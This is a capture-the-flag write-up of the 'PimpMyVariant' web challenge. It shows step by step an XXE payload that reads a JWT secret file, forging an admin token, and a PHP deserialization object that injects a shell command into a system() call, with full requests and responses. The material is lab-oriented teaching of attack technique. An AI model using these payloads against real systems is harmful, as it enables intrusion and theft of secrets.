Details
- Category : web
- Points : 76
- Solves : 77
Description
Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch
Understanding the problem
Solving the problem
The first thing is generaly to check the robots.txt page which can contain useful information on the available pages. Here is what we found :
/readme
/new
/log
/flag.txt
/todo.txt
Okay, now that we had a starting point, we checked out those different pages :
- browsing
/readme
displays a unique message : “Hostname not allowed” - browsing
/new
displays the same as above - browsing
/log
is not authorized. Only the admin can get an access - browsing
/flag.txt
is obviously a trap. It would be too easy :) - browsing
/todo.txt
indicates “test back” which can refer to the back end
We had to circumvent hostname header restrictions to gain an access to /readme
and /new
endpoints. It is as simple as replacing the hostname header value with 127.0.0.1.
/readme
provides us with a new interesting endpoint to visit. Unfortunately, simply browsing it does not display its content.
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 10:38:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 195
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Readme</h1>
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file
/new
brings out a form which can be used to add a new Covid variant to the list. It’s a POST request to /api
whose JWT structure is the following :
{
"alg": "HS256",
"typ": "JWT"
}
{
"variants": [
"Alpha",
"Beta",
"Gamma",
"Delta",
"Omicron",
"Lambda",
"Epsilon",
"Zeta",
"Eta",
"Theta",
"Iota",
"deltacron"
],
"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}",
"exp": 1643465268
}
Okay, let’s sump up what we had so far :
- Form to add a new variant
- API with HS256 JWT authentication mechanism
- File located at
/www/jwt.secret.txt
that we cannot read at the moment /log
endpoint for the admin
Implementing the solution
With the objective of accessing /log
we had to hijack administrator account using the following vulnerabilities :
- Get the content of
/www/jwt.secret.txt
which is supposed to be the HMAC secret. - Forge a new token with this secret and set
isAdmin
to1
.
While analyzing the POST request, we also noticed that arguments are sent in a XML structure. A well known XML related vulnerabilty is XXE and could be used to extract sensitive data like files. ;)
The payload we used is :
POST /api HTTP/1.1
Host: pimpmyvariant.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Origin: http://pimpmyvariant.insomnihack.ch
Content-Length: 168
Connection: close
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZGVsdGFjcm9uIiwidGVzdCIsInRlc3QxIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJhYzYzNDZiZGQwM2NlYjU2MWFhNWJkNjU5MDYwNTJiOWI1YzE5ZDI5XCI7fX0iLCJleHAiOjE2NDM0NjUyNjh9.rJN7Zt97lVafBHm0rsT0iifOT524fP2_T-pRPgtRlzA
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///www/jwt.secret.txt"> ]>
<root>
<name>&example;</name>
</root>
The result is displayed inside the list after browsing /
with the new JWT sent back by the server (as variants are stored in it):
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 11:03:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 402
<html>
<head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Variants list</h1>
<ul>
[...]<li>54b163783c46881f1fe7ee05f90334aa</li>
</ul>
</body>
</html>
With that secret in hand, forging a new JWT is trivial. And we can now access /log
:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 14:12:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 501
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
</textarea>
</body></html>
An error message is displayed on the page, revealing the path to a new file we did not discover previously. It is a .inc
file located in the root directory of the webserver, so we could access it directly and it’s content was not interpreted :
<?php
class UpdateLogViewer
{public string $packgeName;
public string $logCmdReader;
private static ?UpdateLogViewer $singleton = null;
private function __construct(string $packgeName)
{$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}return self::$singleton;
}
public static function read():string
{return system(self::logFile());
}
public static function logFile():string
{return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()// serialize
{self::$singleton = $this;
}; }
We have not mentionned it yet, but we noticed that the settings
field of the JWT is a serialized PHP array containing a User
object:
{"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}"}
It is obvious that the vulnerability here is an insecure PHP deserialization.
When browsing to /log
the UpdateLogViewer::read
function is called. This function uses system
to read a log file. The command injection is obvious and can be triggered by setting $this->logCmdReader = 'id;cat';
.
Simply replacing the settings
field with a specially crafted serialized UpdateLogViewer
object does not work, as we are not admin anymore.
After multiple unsuccessful attempts, we discovered that we needed to append our object to the existing array. This is the final payload :
{"settings": "a:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:15:\"UpdateLogViewer\";s:12:\"logCmdReader\";s:16:\"grep -ri ins;cat\";}}"}
Browsing to /log
with the crafted JWT token reveals the flag:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 15:14:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 1271
<html>
<head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
flag.txt:The flag is INS{P!mpmYV4rianThat's1flag}
[...]</textarea>
</body>
</html>
Flag : INS{P!mpmYV4rianThat’s1flag}